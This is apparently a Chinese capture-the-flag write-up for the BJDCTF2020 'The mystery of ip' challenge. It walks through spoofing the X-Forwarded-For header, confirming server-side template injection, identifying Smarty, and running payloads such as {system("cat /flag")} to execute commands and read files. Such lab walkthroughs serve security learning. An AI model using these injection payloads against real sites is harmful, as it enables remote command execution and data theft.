web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)

题目

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第1张图片

进入页面显示如下

点击flag页面得到ip

点击hint页面

在hint.php的源代码页面中发现

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第2张图片

由题目可以知道要从ip入手

这里尝试抓包加上X-Forwarded-For请求头修改为127.0.0.1

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第3张图片

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第4张图片

因为直接将127.0.0.1输出到页面,可以猜测是ssti模板注入

可以继续验证

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第5张图片

这里发现输入什么就回显什么,存在ip伪造

输入{{2*2}},回显4,确定为ssti注入

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第6张图片

尝试了{{config}}报错,报错信息显示smarty模板引擎

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第7张图片

了解一下smarty模板引擎

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第8张图片

更改payload

{if phpinfo()}{/if}

回显成功

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第9张图片

payload

{if system("cat /flag")}{/if}

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第10张图片

或者

payload

{system("ls")}

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第11张图片

paylod

{system("cat /flag")}

直接cat发现有两个flag,真的在根目录下

web:[BJDCTF2020]The mystery of ip(ssti模板注入、Smarty 模板引擎)_第12张图片

参考学习文章:

[BJDCTF2020]The mystery of ip 1-CSDN博客

https://www.cnblogs.com/gtx690/p/13292537.html

BUUCTF__web题解合集(五)_ctfphpinfo界面题-CSDN博客

你可能感兴趣的:(BUUCTF-WEB,前端,网络安全,web安全)